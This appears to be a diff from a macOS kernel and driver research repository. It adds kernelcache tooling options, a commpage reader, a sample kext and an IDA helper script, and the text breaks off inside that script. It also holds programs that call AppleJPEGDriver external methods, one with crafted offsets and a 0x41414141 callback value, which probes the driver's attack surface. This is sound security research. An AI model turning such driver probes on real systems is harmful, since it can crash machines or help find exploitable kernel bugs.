--tcc Print TCC permissions of the binary
|
||||
--tcc_fda Check Full Disk Access (FDA) TCC permission for the
|
||||
binary
|
||||
--tcc_fda Check Full Disk Access (FDA) TCC permission for the binary
|
||||
--tcc_automation Check Automation TCC permission for the binary
|
||||
--tcc_sysadmin Check System Policy SysAdmin Files TCC permission for
|
||||
the binary
|
||||
--tcc_sysadmin Check System Policy SysAdmin Files TCC permission for the binary
|
||||
--tcc_desktop Check Desktop Folder TCC permission for the binary
|
||||
--tcc_documents Check Documents Folder TCC permission for the binary
|
||||
--tcc_downloads Check Downloads Folder TCC permission for the binary
|
||||
@@ -411,6 +310,30 @@ TCC ARGS:
|
||||
--tcc_recording Check Screen Recording TCC permission for the binary
|
||||
--tcc_accessibility Check Accessibility TCC permission for the binary
|
||||
--tcc_icloud Check iCloud (Ubiquity) TCC permission for the binary
|
||||
|
||||
XNU ARGS:
|
||||
--parse_mpo mpo_addr Parse mac_policy_ops at given address from Kernel Cache and print pointers in use (not
|
||||
zeroed)
|
||||
--dump_prelink_info [(optional) out_name]
|
||||
Dump "__PRELINK_INFO,__info" to a given file (default: "PRELINK_info.txt")
|
||||
--dump_prelink_text [(optional) out_name]
|
||||
Dump "__PRELINK_TEXT,__text" to a given file (default: "PRELINK_text.txt")
|
||||
--dump_prelink_kext [kext_name]
|
||||
Dump prelinked KEXT {kext_name} from decompressed Kernel Cache PRELINK_TEXT segment to a
|
||||
file named: prelinked_{kext_name}.bin
|
||||
--kext_prelinkinfo [kext_name]
|
||||
Print _Prelink properties from PRELINK_INFO,__info for a give {kext_name}
|
||||
--kmod_info kext_name
|
||||
Parse kmod_info structure for the given {kext_name} from Kernel Cache
|
||||
--kext_entry kext_name
|
||||
Calculate the virtual memory address of the __start (entrypoint) for the given {kext_name}
|
||||
Kernel Extension
|
||||
--kext_exit kext_name
|
||||
Calculate the virtual memory address of the __stop (exitpoint) for the given {kext_name}
|
||||
Kernel Extension
|
||||
--mig Search for MIG subsystem and prints message handlers
|
||||
--dump_kext kext_name
|
||||
Dump the kernel extension binary from the kernelcache.decompressed file
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
@@ -774,7 +697,5 @@ Each Snake class will be a child of the previous one and infinitely "eat itself"
|
||||
* Add kernelcache parser.
|
||||
* Add `LC_FILESET_ENTRY` method to `dumpKernelExtension`.
|
||||
* Consider moving methods like `removeNullBytesAlignment`, `calcTwoComplement64` etc. to `Utils` class.
|
||||
* Move `--mig` option to Snake & Apple chapter about Mach Kernel when ready.
|
||||
* Make Thread manager class and improve the Threading.thread with tracing methods and `kill()`.
|
||||
* Reconsider moving --xattr like args to another Snake class related to filesystem.
|
||||
* Consider adding second option to dump Sandbox Operations based on this [Csaba Fitzl comment](https://x.com/theevilbit/status/1828773101041221755).
|
||||
* Reconsider moving --xattr like args to another Snake class related to filesystem.
|
||||
151
X. NU/custom/CommPageParser.c
Normal file
151
X. NU/custom/CommPageParser.c
Normal file
@@ -0,0 +1,151 @@
|
||||
// clang CommPageParser.c -o CommPageParser -arch arm64
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define COMM_PAGE_BASE 0xfffffc000ULL
|
||||
|
||||
typedef struct {
|
||||
uint64_t TimeStamp_tick;
|
||||
uint64_t TimeStamp_sec;
|
||||
uint64_t TimeStamp_frac;
|
||||
uint64_t Ticks_scale;
|
||||
uint64_t Ticks_per_sec;
|
||||
} new_commpage_timeofday_data_t;
|
||||
|
||||
typedef struct {
|
||||
uint64_t nt_tsc_base;
|
||||
uint32_t nt_scale;
|
||||
uint32_t nt_shift;
|
||||
uint64_t nt_ns_base;
|
||||
uint32_t nt_generation;
|
||||
uint32_t gtod_generation;
|
||||
uint64_t gtod_ns_base;
|
||||
uint64_t gtod_sec_base;
|
||||
} time_data_t;
|
||||
|
||||
typedef struct {
|
||||
uint8_t signature[16];
|
||||
uint64_t cpu_capabilities64;
|
||||
uint8_t unused[6];
|
||||
uint16_t version;
|
||||
uint32_t cpu_capabilities;
|
||||
uint8_t ncpus;
|
||||
uint8_t user_page_shift_32;
|
||||
uint8_t user_page_shift_64;
|
||||
uint16_t cache_linesize;
|
||||
uint32_t unused4;
|
||||
uint32_t unused3;
|
||||
uint32_t memory_pressure;
|
||||
uint8_t active_cpus;
|
||||
uint8_t physical_cpus;
|
||||
uint8_t logical_cpus;
|
||||
uint8_t kernel_page_shift;
|
||||
uint64_t memory_size;
|
||||
uint32_t cpufamily;
|
||||
uint32_t dev_firm;
|
||||
uint64_t timebase_offset;
|
||||
uint8_t user_timebase;
|
||||
uint8_t cont_hwclock;
|
||||
uint8_t dtrace_dof_enabled;
|
||||
uint8_t unused0[5];
|
||||
time_data_t time_data;
|
||||
struct {
|
||||
uint64_t time;
|
||||
uint64_t time_supported;
|
||||
uint8_t _fill[48];
|
||||
} approx;
|
||||
uint64_t cont_timebase;
|
||||
uint64_t boottime_usec;
|
||||
new_commpage_timeofday_data_t new_time_data;
|
||||
uint64_t unused5;
|
||||
uint64_t dyld_flags;
|
||||
uint8_t cpu_to_cluster[256];
|
||||
uint64_t quiescent_counter;
|
||||
uint64_t asb_target_value;
|
||||
uint64_t asb_target_address;
|
||||
uint64_t asb_target_kern_value;
|
||||
uint64_t asb_target_kern_address;
|
||||
} comm_page_t;
|
||||
|
||||
void print_cpu_capabilities64(uint64_t caps) {
|
||||
printf("CPU Capabilities64 details:\n");
|
||||
if (caps & 0x00000008) printf(" - FP16 Support\n");
|
||||
if (caps & 0x00000100) printf(" - Advanced SIMD\n");
|
||||
if (caps & 0x00000200) printf(" - Advanced SIMD half-precision\n");
|
||||
if (caps & 0x00000400) printf(" - VFP Support\n");
|
||||
if (caps & 0x00002000) printf(" - FMA Support\n");
|
||||
if (caps & 0x01000000) printf(" - ARMv8 Crypto\n");
|
||||
if (caps & 0x02000000) printf(" - ARMv8.1 Atomic instructions\n");
|
||||
if (caps & 0x04000000) printf(" - ARMv8 CRC32\n");
|
||||
if (caps & 0x80000000) printf(" - SHA512\n");
|
||||
// Extended capabilities
|
||||
if (caps & 0x0000000100000000) printf(" - SHA3\n");
|
||||
if (caps & 0x0000000200000000) printf(" - FCMA\n");
|
||||
if (caps & 0x0000000400000000) printf(" - AFP\n");
|
||||
}
|
||||
|
||||
int main() {
|
||||
comm_page_t *comm = (comm_page_t *)COMM_PAGE_BASE;
|
||||
|
||||
printf("Signature: ");
|
||||
for(int i = 0; i < 16; i++) printf("%02x", comm->signature[i]);
|
||||
printf("\n\n");
|
||||
|
||||
printf("CPU Capabilities64: 0x%llx\n", comm->cpu_capabilities64);
|
||||
print_cpu_capabilities64(comm->cpu_capabilities64);
|
||||
printf("\nVersion: %d\n", comm->version);
|
||||
printf("CPU Capabilities32: 0x%x\n", comm->cpu_capabilities);
|
||||
|
||||
printf("\nCPU Information:\n");
|
||||
printf("Physical CPUs: %d\n", comm->physical_cpus);
|
||||
printf("Logical CPUs: %d\n", comm->logical_cpus);
|
||||
printf("Active CPUs: %d\n", comm->active_cpus);
|
||||
printf("Number of configured CPUs: %d\n", comm->ncpus);
|
||||
|
||||
printf("\nMemory Information:\n");
|
||||
printf("Cache Line Size: %d\n", comm->cache_linesize);
|
||||
printf("Memory Size: %lld bytes\n", comm->memory_size);
|
||||
printf("Memory Pressure: %d\n", comm->memory_pressure);
|
||||
printf("32-bit Page Shift: %d\n", comm->user_page_shift_32);
|
||||
printf("64-bit Page Shift: %d\n", comm->user_page_shift_64);
|
||||
printf("Kernel Page Shift: %d\n", comm->kernel_page_shift);
|
||||
|
||||
printf("\nSystem Information:\n");
|
||||
printf("CPU Family: 0x%x\n", comm->cpufamily);
|
||||
printf("Device Firmware: 0x%x\n", comm->dev_firm);
|
||||
printf("DYLD System Flags: 0x%llx\n", comm->dyld_flags);
|
||||
printf("DTrace DOF Enabled: %d\n", comm->dtrace_dof_enabled);
|
||||
|
||||
printf("\nTime Information:\n");
|
||||
printf("Timebase Offset: 0x%llx\n", comm->timebase_offset);
|
||||
printf("Boot Time: %lld μs\n", comm->boottime_usec);
|
||||
printf("Continuous Hardware Clock: %d\n", comm->cont_hwclock);
|
||||
printf("User Timebase: %d\n", comm->user_timebase);
|
||||
printf("Continuous Timebase: 0x%llx\n", comm->cont_timebase);
|
||||
|
||||
printf("\nTime Data:\n");
|
||||
printf("TSC Base: 0x%llx\n", comm->time_data.nt_tsc_base);
|
||||
printf("Scale: %u\n", comm->time_data.nt_scale);
|
||||
printf("Shift: %u\n", comm->time_data.nt_shift);
|
||||
printf("NS Base: %lld\n", comm->time_data.nt_ns_base);
|
||||
printf("Generation: %u\n", comm->time_data.nt_generation);
|
||||
|
||||
printf("\nNew Time Data:\n");
|
||||
printf("Timestamp tick: %lld\n", comm->new_time_data.TimeStamp_tick);
|
||||
printf("Timestamp sec: %lld\n", comm->new_time_data.TimeStamp_sec);
|
||||
printf("Ticks per sec: %lld\n", comm->new_time_data.Ticks_per_sec);
|
||||
|
||||
printf("\nApproximate Time:\n");
|
||||
printf("Time: %lld\n", comm->approx.time);
|
||||
printf("Time Supported: %lld\n", comm->approx.time_supported);
|
||||
|
||||
printf("\nSecurity Information:\n");
|
||||
printf("ASB Target Value: 0x%llx\n", comm->asb_target_value);
|
||||
printf("ASB Target Address: 0x%llx\n", comm->asb_target_address);
|
||||
printf("ASB Target Kernel Value: 0x%llx\n", comm->asb_target_kern_value);
|
||||
printf("ASB Target Kernel Address: 0x%llx\n", comm->asb_target_kern_address);
|
||||
|
||||
printf("\nCPU Quiescent Counter: %lld\n", comm->quiescent_counter);
|
||||
|
||||
return 0;
|
||||
}
|
||||
173
X. NU/custom/HelloKext/HelloWorldKext.xcodeproj/project.pbxproj
Normal file
173
X. NU/custom/HelloKext/HelloWorldKext.xcodeproj/project.pbxproj
Normal file
@@ -0,0 +1,173 @@
|
||||
// !$*UTF8*$!
|
||||
{
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 46;
|
||||
objects = {
|
||||
/* Begin PBXBuildFile section */
|
||||
8D01CCC80486CAD60068D4B7 /* HelloWorld.c in Sources */ = {
|
||||
isa = PBXBuildFile;
|
||||
fileRef = 08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */;
|
||||
};
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */ = {
|
||||
isa = PBXFileReference;
|
||||
fileEncoding = 4;
|
||||
lastKnownFileType = sourcecode.c.c;
|
||||
path = src/HelloWorld.c;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8D01CCD10486CAD60068D4B7 /* Info.plist */ = {
|
||||
isa = PBXFileReference;
|
||||
fileEncoding = 4;
|
||||
lastKnownFileType = text.plist.xml;
|
||||
path = src/Info.plist;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */ = {
|
||||
isa = PBXFileReference;
|
||||
explicitFileType = "wrapper.kernel-extension";
|
||||
includeInIndex = 0;
|
||||
path = HelloWorld.kext;
|
||||
sourceTree = BUILT_PRODUCTS_DIR;
|
||||
};
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXGroup section */
|
||||
089C166AFE841209C02AAC07 /* HelloWorld */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */,
|
||||
8D01CCD10486CAD60068D4B7 /* Info.plist */,
|
||||
19C28FB6FE9D52B211CA2CBB /* Products */,
|
||||
);
|
||||
name = HelloWorld;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
19C28FB6FE9D52B211CA2CBB /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */,
|
||||
);
|
||||
name = Products;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
8D01CCC60486CAD60068D4B7 /* HelloWorld */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 1DEB91D908733DB10010E9CD /* Build configuration list */;
|
||||
buildPhases = (
|
||||
8D01CCC90486CAD60068D4B7 /* Sources */,
|
||||
);
|
||||
buildRules = (
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = HelloWorld;
|
||||
productInstallPath = "$(HOME)/Library/Bundles";
|
||||
productName = HelloWorld;
|
||||
productReference = 8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */;
|
||||
productType = "com.apple.product-type.kernel-extension";
|
||||
};
|
||||
/* End PBXNativeTarget section */
|
||||
|
||||
/* Begin PBXProject section */
|
||||
089C1669FE841209C02AAC07 /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
buildConfigurationList = 1DEB91DD08733DB10010E9CD /* Build configuration list for PBXProject "HelloWorld" */;
|
||||
compatibilityVersion = "Xcode 3.2";
|
||||
developmentRegion = English;
|
||||
hasScannedForEncodings = 1;
|
||||
knownRegions = (
|
||||
English,
|
||||
Japanese,
|
||||
French,
|
||||
German
|
||||
);
|
||||
mainGroup = 089C166AFE841209C02AAC07 /* HelloWorld */;
|
||||
projectDirPath = "";
|
||||
projectRoot = "";
|
||||
targets = (
|
||||
8D01CCC60486CAD60068D4B7 /* HelloWorld */,
|
||||
);
|
||||
};
|
||||
/* End PBXProject section */
|
||||
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
8D01CCC90486CAD60068D4B7 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
8D01CCC80486CAD60068D4B7 /* HelloWorld.c in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXSourcesBuildPhase section */
|
||||
|
||||
/* Begin XCBuildConfiguration section */
|
||||
1DEB91DA08733DB10010E9CD /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ARCHS = "arm64e";
|
||||
VALID_ARCHS = "arm64e";
|
||||
KERNEL_EXTENSION_HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
|
||||
KERNEL_FRAMEWORK = "$(SYSTEM_LIBRARY_DIR)/Frameworks/Kernel.framework";
|
||||
ONLY_ACTIVE_ARCH = NO;
|
||||
GCC_C_LANGUAGE_STANDARD = gnu11;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
|
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES;
|
||||
GCC_WARN_UNUSED_VARIABLE = YES;
|
||||
INFOPLIST_FILE = src/Info.plist;
|
||||
PRODUCT_NAME = HelloWorld;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "crimson.HelloWorld";
|
||||
SDKROOT = macosx;
|
||||
WRAPPER_EXTENSION = kext;
|
||||
MODULE_NAME = "crimson.HelloWorld";
|
||||
MODULE_VERSION = 1.0.0;
|
||||
MACOSX_DEPLOYMENT_TARGET = 13.0;
|
||||
OTHER_CFLAGS = "-mkernel -fno-builtin -static";
|
||||
OTHER_LDFLAGS = "-static -lkmod";
|
||||
SYSTEM_HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
|
||||
HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
1DEB91DE08733DB10010E9CD /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ARCHS = "arm64e";
|
||||
VALID_ARCHS = "arm64e";
|
||||
ONLY_ACTIVE_ARCH = NO;
|
||||
SDKROOT = macosx;
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
/* End XCBuildConfiguration section */
|
||||
|
||||
/* Begin XCConfigurationList section */
|
||||
1DEB91D908733DB10010E9CD /* Build configuration list for PBXNativeTarget "HelloWorld" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
1DEB91DA08733DB10010E9CD /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
1DEB91DD08733DB10010E9CD /* Build configuration list for PBXProject "HelloWorld" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
1DEB91DE08733DB10010E9CD /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* End XCConfigurationList section */
|
||||
};
|
||||
rootObject = 089C1669FE841209C02AAC07 /* Project object */;
|
||||
}
|
||||
17
X. NU/custom/HelloKext/src/HelloWorld.c
Normal file
17
X. NU/custom/HelloKext/src/HelloWorld.c
Normal file
@@ -0,0 +1,17 @@
|
||||
#include <mach/mach_types.h>
|
||||
#include <libkern/libkern.h>
|
||||
|
||||
kern_return_t HelloWorld_start(kmod_info_t * ki, void *d);
|
||||
kern_return_t HelloWorld_stop(kmod_info_t *ki, void *d);
|
||||
|
||||
kern_return_t HelloWorld_start(kmod_info_t * ki, void *d)
|
||||
{
|
||||
printf("HelloWorld from kext start");
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
kern_return_t HelloWorld_stop(kmod_info_t *ki, void *d)
|
||||
{
|
||||
printf("HelloWorld from kext stop");
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
51
X. NU/custom/HelloKext/src/Info.plist
Normal file
51
X. NU/custom/HelloKext/src/Info.plist
Normal file
@@ -0,0 +1,51 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>BuildMachineOSBuild</key>
|
||||
<string>23H124</string>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>en</string>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>HelloWorld</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>crimson.HelloWorld</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>HelloWorld</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>KEXT</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleSupportedPlatforms</key>
|
||||
<array>
|
||||
<string>MacOSX</string>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1</string>
|
||||
<key>DTCompiler</key>
|
||||
<string>com.apple.compilers.llvm.clang.1_0</string>
|
||||
<key>DTPlatformBuild</key>
|
||||
<string>24B75</string>
|
||||
<key>DTPlatformName</key>
|
||||
<string>macosx</string>
|
||||
<key>DTPlatformVersion</key>
|
||||
<string>15.1</string>
|
||||
<key>DTSDKBuild</key>
|
||||
<string>24B75</string>
|
||||
<key>DTSDKName</key>
|
||||
<string>macosx15.1</string>
|
||||
<key>DTXcode</key>
|
||||
<string>1610</string>
|
||||
<key>DTXcodeBuild</key>
|
||||
<string>16B40</string>
|
||||
<key>LSMinimumSystemVersion</key>
|
||||
<string>15.1</string>
|
||||
<key>OSBundleLibraries</key>
|
||||
<dict>
|
||||
<key>com.apple.kpi.libkern</key>
|
||||
<string>23.6.0</string>
|
||||
</dict>
|
||||
</dict>
|
||||
</plist>
|
||||
20
X. NU/custom/drivers/AppleJPEGDriver_method_0.cpp
Normal file
20
X. NU/custom/drivers/AppleJPEGDriver_method_0.cpp
Normal file
@@ -0,0 +1,20 @@
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
// Get service
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault, IOServiceMatching("AppleJPEGDriver"));
|
||||
|
||||
// Connect to service
|
||||
io_connect_t connect;
|
||||
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 1, &connect);
|
||||
IOObjectRelease(service);
|
||||
|
||||
// Call external method
|
||||
kr = IOConnectCallMethod(connect, 0, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
|
||||
printf("Method call result: 0x%x\n", kr);
|
||||
|
||||
// Cleanup
|
||||
IOServiceClose(connect);
|
||||
return 0;
|
||||
}
|
||||
10
X. NU/custom/drivers/AppleJPEGDriver_method_0.py
Normal file
10
X. NU/custom/drivers/AppleJPEGDriver_method_0.py
Normal file
@@ -0,0 +1,10 @@
|
||||
import iokitlib
|
||||
|
||||
# Get service and connect
|
||||
iokit = iokitlib.iokit()
|
||||
conn = iokit.open_service(b"AppleJPEGDriver", 1)
|
||||
print(f"Connection handle: {conn}")
|
||||
|
||||
# Call external method
|
||||
kr = iokit.connect_call_method(conn, 0, None, None, None, None)
|
||||
print(f"Method call result: {kr}")
|
||||
166
X. NU/custom/drivers/AppleJPEGDriver_method_1.cpp
Normal file
166
X. NU/custom/drivers/AppleJPEGDriver_method_1.cpp
Normal file
@@ -0,0 +1,166 @@
|
||||
// Compile command:
|
||||
// clang++ -framework IOKit -framework CoreFoundation -framework IOSurface AppleJPEGDriver_method_1.cpp -o AppleJPEGDriver_method_1
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <IOSurface/IOSurface.h>
|
||||
#include <CoreVideo/CVPixelBuffer.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
/**
|
||||
* Creates an IOSurface with JPEG format specifications
|
||||
* IOSurface is a memory buffer that can be shared between processes and hardware
|
||||
*
|
||||
* @details This function sets up an IOSurface with specific parameters:
|
||||
* - 32x32 pixel dimensions
|
||||
* - 0x10000 bytes allocation size
|
||||
* - JPEG format specification
|
||||
* - Global sharing enabled
|
||||
*
|
||||
* @return The unique identifier of the created surface, or 0 on failure
|
||||
*/
|
||||
static uint32_t create_surface(void) {
|
||||
// Create a mutable dictionary to hold surface properties
|
||||
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0,
|
||||
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
|
||||
if (!dict) return 0;
|
||||
|
||||
// Define surface parameters
|
||||
int width = 32;
|
||||
int height = 32;
|
||||
int alloc_size = 0x10000;
|
||||
int format = 'JPEG'; // Using JPEG format identifier
|
||||
|
||||
// Set surface as globally accessible
|
||||
CFDictionarySetValue(dict, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue);
|
||||
|
||||
// Create CF numbers for surface properties
|
||||
CFNumberRef w = CFNumberCreate(NULL, kCFNumberSInt32Type, &width);
|
||||
CFNumberRef h = CFNumberCreate(NULL, kCFNumberSInt32Type, &height);
|
||||
CFNumberRef s = CFNumberCreate(NULL, kCFNumberSInt32Type, &alloc_size);
|
||||
CFNumberRef f = CFNumberCreate(NULL, kCFNumberSInt32Type, &format);
|
||||
|
||||
// Set surface properties in dictionary
|
||||
CFDictionarySetValue(dict, CFSTR("IOSurfaceWidth"), w);
|
||||
CFDictionarySetValue(dict, CFSTR("IOSurfaceHeight"), h);
|
||||
CFDictionarySetValue(dict, CFSTR("IOSurfaceAllocSize"), s);
|
||||
CFDictionarySetValue(dict, CFSTR("IOSurfacePixelFormat"), f);
|
||||
|
||||
// Create the surface with our specifications
|
||||
IOSurfaceRef surface = IOSurfaceCreate(dict);
|
||||
if (!surface) {
|
||||
CFRelease(w); CFRelease(h); CFRelease(s); CFRelease(f); CFRelease(dict);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get surface ID and retain the surface
|
||||
uint32_t id = IOSurfaceGetID(surface);
|
||||
CFRetain(surface);
|
||||
|
||||
// Clean up allocated resources
|
||||
CFRelease(w); CFRelease(h); CFRelease(s); CFRelease(f); CFRelease(dict);
|
||||
return id;
|
||||
}
|
||||
|
||||
/**
|
||||
* Input structure for the AppleJPEGDriver
|
||||
* This structure defines the parameters needed for JPEG processing operations
|
||||
*
|
||||
* @note Structure must be exactly 88 bytes (0x58) in size
|
||||
* @note Fields marked as reserved should not be modified
|
||||
*/
|
||||
struct AppleJPEGDriverIOStruct {
|
||||
uint32_t src_surface; // Source surface ID
|
||||
uint32_t input_size; // Size of input data
|
||||
uint32_t dst_surface; // Destination surface ID
|
||||
uint32_t output_size; // Size of output buffer
|
||||
uint32_t reserved1[2]; // Reserved fields (previously input/output length)
|
||||
uint32_t pixelX; // X dimension in pixels
|
||||
uint32_t pixelY; // Y dimension in pixels
|
||||
uint32_t reserved2; // Reserved field
|
||||
uint32_t xOffset; // X offset for processing
|
||||
uint32_t yOffset; // Y offset for processing
|
||||
uint32_t subsampling; // Subsampling mode (must be 0-4)
|
||||
uint32_t callback; // Callback address
|
||||
uint32_t reserved3[3]; // Reserved fields
|
||||
uint32_t value100; // Value set to 100
|
||||
uint32_t reserved4[2]; // Reserved fields
|
||||
uint32_t decodeWidth; // Width for decoding
|
||||
uint32_t decodeHeight; // Height for decoding
|
||||
uint32_t reserved5; // Reserved field
|
||||
} __attribute__((packed));
|
||||
|
||||
int main() {
|
||||
// Create source and destination surfaces
|
||||
uint32_t src = create_surface();
|
||||
uint32_t dst = create_surface();
|
||||
|
||||
// Connect to the AppleJPEGDriver
|
||||
io_connect_t conn;
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault,
|
||||
IOServiceMatching("AppleJPEGDriver"));
|
||||
if (!service) {
|
||||
printf("Driver not found\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Open a connection to the driver
|
||||
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 1, &conn);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Open failed: %x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Initialize driver input structure
|
||||
struct AppleJPEGDriverIOStruct input = {};
|
||||
memset(&input, 0, sizeof(input));
|
||||
|
||||
// Configure input parameters
|
||||
input.src_surface = src;
|
||||
input.input_size = 2000;
|
||||
input.dst_surface = dst;
|
||||
input.output_size = 0x1000;
|
||||
input.pixelX = 100;
|
||||
input.pixelY = 3;
|
||||
input.xOffset = 0xd;
|
||||
input.yOffset = 0xff;
|
||||
input.subsampling = 0;
|
||||
input.callback = 0x41414141;
|
||||
input.value100 = 100;
|
||||
input.decodeWidth = 5;
|
||||
input.decodeHeight = 10;
|
||||
|
||||
// Verify structure size and print configuration
|
||||
printf("Structure size: %zu (should be 88)\n", sizeof(input));
|
||||
printf("Surface IDs: src=0x%x dst=0x%x\n", src, dst);
|
||||
printf("Input params:\n"
|
||||
" sizes: %u/%u\n"
|
||||
" pixels: %u/%u\n"
|
||||
" decode: %u/%u\n"
|
||||
" offset: %u/%u\n",
|
||||
input.input_size, input.output_size,
|
||||
input.pixelX, input.pixelY,
|
||||
input.decodeWidth, input.decodeHeight,
|
||||
input.xOffset, input.yOffset);
|
||||
|
||||
// Prepare output buffer and call driver
|
||||
char output[88] = {0};
|
||||
size_t output_size = sizeof(output);
|
||||
// Call IOKit method #1 on the connection, passing input/output buffers
|
||||
// kr: stores kernel return code (KERN_SUCCESS = 0 on success)
|
||||
// conn: connection to IOKit driver/service
|
||||
// 1: selector/method number to call
|
||||
// &input: pointer to input structure
|
||||
// sizeof(input): size of input buffer in bytes
|
||||
// output: buffer to receive output data
|
||||
// &output_size: pointer to size of output buffer (updated with actual bytes written)
|
||||
kr = IOConnectCallStructMethod(conn, 1, &input, sizeof(input), output, &output_size);
|
||||
|
||||
// Print result and clean up
|
||||
printf("Result: 0x%x (%s)\n", kr, mach_error_string(kr));
|
||||
|
||||
IOServiceClose(conn);
|
||||
IOObjectRelease(service);
|
||||
return 0;
|
||||
}
|
||||
31
X. NU/custom/drivers/DKIOCEJECT_ioctl.c
Normal file
31
X. NU/custom/drivers/DKIOCEJECT_ioctl.c
Normal file
@@ -0,0 +1,31 @@
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <paths.h>
|
||||
#include <sys/disk.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s /dev/diskX\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Open the disk device
|
||||
int fd = open(argv[1], O_RDWR);
|
||||
if (fd < 0) {
|
||||
perror("Failed to open disk device");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Attempt to eject the disk using ioctl
|
||||
if (ioctl(fd, DKIOCEJECT, NULL) < 0) {
|
||||
perror("Failed to eject disk");
|
||||
close(fd);
|
||||
return 1;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
printf("Disk ejected successfully\n");
|
||||
return 0;
|
||||
}
|
||||
84
X. NU/custom/drivers/format_externalmethods.py
Normal file
84
X. NU/custom/drivers/format_externalmethods.py
Normal file
@@ -0,0 +1,84 @@
|
||||
from idaapi import *
|
||||
import ida_bytes
|
||||
import idc
|
||||
import ida_name
|
||||
|
||||
def create_external_method_dispatch_struct():
|
||||
sid = idc.get_struc_id("IOExternalMethodDispatch2022")
|
||||
if sid != -1:
|
||||
# Structure already exists
|
||||
return sid
|
||||
|
||||
sid = idc.add_struc(-1, "IOExternalMethodDispatch2022", 0)
|
||||
if sid == -1:
|
||||
print("Failed to create structure")
|
||||
return -1
|
||||
|
||||
# Define structure members
|
||||
idc.add_struc_member(sid, "function", 0, ida_bytes.qword_flag(), -1, 8)
|
||||
